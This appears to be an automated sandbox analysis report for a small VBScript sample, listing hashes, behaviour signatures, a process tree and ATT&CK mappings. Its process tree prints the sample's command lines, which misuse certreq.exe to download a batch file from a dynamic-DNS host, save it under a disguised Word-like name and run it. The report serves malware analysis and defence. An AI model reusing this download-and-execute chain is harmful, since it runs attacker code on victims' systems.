6351c69330812979b20ca0237dd523081e73bdec6b48c6a1bf8cac708b028ef9

General

Target

91ef79825a38a6d9942f8963206785bc.vbs
Size

784B
MD5

4304fd3c7c6532cb19e0f29773b5e253
SHA1

333be879c7816ebc1417fad26953fc235e2cf2ac
SHA256

0593fa1832103b3903a35bbfab6f0331cb9031b75afeff791cc7d331f5c2a028
SHA512

faed7856e6f9e1933bd1730d1165c75e3dd12288fb7b5d9a3a6a2416efb5a592301aca98ce90562c59045d5f3e81b54c00d1afecc6634af85b330bd3c6ff2031

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 45 IoCs

Processes:

WScript.execmd.execmd.execmd.exe

description	pid	process	target process
PID 832 wrote to memory of 900	832	WScript.exe	cmd.exe
PID 832 wrote to memory of 900	832	WScript.exe	cmd.exe
PID 832 wrote to memory of 900	832	WScript.exe	cmd.exe
PID 900 wrote to memory of 996	900	cmd.exe	cmd.exe
PID 900 wrote to memory of 996	900	cmd.exe	cmd.exe
PID 900 wrote to memory of 996	900	cmd.exe	cmd.exe
PID 900 wrote to memory of 944	900	cmd.exe	cmd.exe
PID 900 wrote to memory of 944	900	cmd.exe	cmd.exe
PID 900 wrote to memory of 944	900	cmd.exe	cmd.exe
PID 996 wrote to memory of 1712	996	cmd.exe	certreq.exe
PID 996 wrote to memory of 1712	996	cmd.exe	certreq.exe
PID 996 wrote to memory of 1712	996	cmd.exe	certreq.exe
PID 944 wrote to memory of 1976	944	cmd.exe	certreq.exe
PID 944 wrote to memory of 1976	944	cmd.exe	certreq.exe
PID 944 wrote to memory of 1976	944	cmd.exe	certreq.exe
PID 944 wrote to memory of 1996	944	cmd.exe	certreq.exe
PID 944 wrote to memory of 1996	944	cmd.exe	certreq.exe
PID 944 wrote to memory of 1996	944	cmd.exe	certreq.exe
PID 944 wrote to memory of 1980	944	cmd.exe	certreq.exe
PID 944 wrote to memory of 1980	944	cmd.exe	certreq.exe
PID 944 wrote to memory of 1980	944	cmd.exe	certreq.exe
PID 944 wrote to memory of 1172	944	cmd.exe	certreq.exe
PID 944 wrote to memory of 1172	944	cmd.exe	certreq.exe
PID 944 wrote to memory of 1172	944	cmd.exe	certreq.exe
PID 944 wrote to memory of 1020	944	cmd.exe	certreq.exe
PID 944 wrote to memory of 1020	944	cmd.exe	certreq.exe
PID 944 wrote to memory of 1020	944	cmd.exe	certreq.exe
PID 944 wrote to memory of 1752	944	cmd.exe	certreq.exe
PID 944 wrote to memory of 1752	944	cmd.exe	certreq.exe
PID 944 wrote to memory of 1752	944	cmd.exe	certreq.exe
PID 944 wrote to memory of 1876	944	cmd.exe	certreq.exe
PID 944 wrote to memory of 1876	944	cmd.exe	certreq.exe
PID 944 wrote to memory of 1876	944	cmd.exe	certreq.exe
PID 944 wrote to memory of 1476	944	cmd.exe	certreq.exe
PID 944 wrote to memory of 1476	944	cmd.exe	certreq.exe
PID 944 wrote to memory of 1476	944	cmd.exe	certreq.exe
PID 944 wrote to memory of 1948	944	cmd.exe	certreq.exe
PID 944 wrote to memory of 1948	944	cmd.exe	certreq.exe
PID 944 wrote to memory of 1948	944	cmd.exe	certreq.exe
PID 944 wrote to memory of 316	944	cmd.exe	certreq.exe
PID 944 wrote to memory of 316	944	cmd.exe	certreq.exe
PID 944 wrote to memory of 316	944	cmd.exe	certreq.exe
PID 944 wrote to memory of 696	944	cmd.exe	certreq.exe
PID 944 wrote to memory of 696	944	cmd.exe	certreq.exe
PID 944 wrote to memory of 696	944	cmd.exe	certreq.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\91ef79825a38a6d9942f8963206785bc.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:832

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" "/c sTARt /B /mIn CeRTReQ.eXe -poSt -CONFIg http://jlhuoiljnuyjbyrtjyghiljoiuhyujhblkjlhnbyugjvytyjgbkjhnyutgyjhyb.ydns.eu/fire/derrffdde.bat c:\WindoWs\wrITE.Exe C:\Users\Admin\AppData\Roaming\MSW0RD.bat | Cmd /stART /b /mIn pING.exe & start C:\Users\Admin\AppData\Roaming\MSW0RD.bat"
2⤵
- Suspicious use of WriteProcessMemory
PID:900

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" sTARt /B /mIn CeRTReQ.eXe -poSt -CONFIg http://jlhuoiljnuyjbyrtjyghiljoiuhyujhblkjlhnbyugjvytyjgbkjhnyutgyjhyb.ydns.eu/fire/derrffdde.bat c:\WindoWs\wrITE.Exe C:\Users\Admin\AppData\Roaming\MSW0RD.bat "
3⤵
- Suspicious use of WriteProcessMemory
PID:996

C:\Windows\system32\certreq.exe
CeRTReQ.eXe -poSt -CONFIg http://jlhuoiljnuyjbyrtjyghiljoiuhyujhblkjlhnbyugjvytyjgbkjhnyutgyjhyb.ydns.eu/fire/derrffdde.bat c:\WindoWs\wrITE.Exe C:\Users\Admin\AppData\Roaming\MSW0RD.bat
4⤵
PID:1712

C:\Windows\system32\cmd.exe
Cmd /stART /b /mIn pING.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:944

C:\Windows\system32\certreq.exe
CertReq -?
4⤵
PID:1976

C:\Windows\system32\certreq.exe
CertReq [-v] -?
4⤵
PID:1996

C:\Windows\system32\certreq.exe
CertReq [-Command] -?
4⤵
PID:1980

C:\Windows\system32\certreq.exe
CertReq [-Submit] [Options] [RequestFileIn [CertFileOut [CertChainFileOut [FullResponseFileOut]]]]
4⤵
PID:1172

C:\Windows\system32\certreq.exe
CertReq -Retrieve [Options] RequestId [CertFileOut [CertChainFileOut [FullResponseFileOut]]]
4⤵
PID:1020

C:\Windows\system32\certreq.exe
CertReq -New [Options] [PolicyFileIn [RequestFileOut]]
4⤵
PID:1752

C:\Windows\system32\certreq.exe
CertReq -Accept [Options] [CertChainFileIn
4⤵
PID:1876

C:\Windows\system32\certreq.exe
CertReq -Policy [Options] [RequestFileIn [PolicyFileIn [RequestFileOut [PKCS10FileOut]]]]
4⤵
PID:1476

C:\Windows\system32\certreq.exe
CertReq -Sign [Options] [RequestFileIn [RequestFileOut]]
4⤵
PID:1948

C:\Windows\system32\certreq.exe
CertReq -Enroll [Options] TemplateName
4⤵
PID:316

C:\Windows\system32\certreq.exe
CertReq -Enroll -cert CertId [Options] Renew [ReuseKeys]
4⤵
PID:696

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/316-68-0x0000000000000000-mapping.dmp

Download
memory/696-69-0x0000000000000000-mapping.dmp

Download
memory/832-54-0x000007FEFC371000-0x000007FEFC373000-memory.dmp

Filesize
8KB

Download
memory/900-55-0x0000000000000000-mapping.dmp

Download
memory/944-57-0x0000000000000000-mapping.dmp

Download
memory/996-56-0x0000000000000000-mapping.dmp

Download
memory/1020-63-0x0000000000000000-mapping.dmp

Download
memory/1172-62-0x0000000000000000-mapping.dmp

Download
memory/1476-66-0x0000000000000000-mapping.dmp

Download
memory/1712-58-0x0000000000000000-mapping.dmp

Download
memory/1752-64-0x0000000000000000-mapping.dmp

Download
memory/1876-65-0x0000000000000000-mapping.dmp

Download
memory/1948-67-0x0000000000000000-mapping.dmp

Download
memory/1976-59-0x0000000000000000-mapping.dmp

Download
memory/1980-61-0x0000000000000000-mapping.dmp

Download
memory/1996-60-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing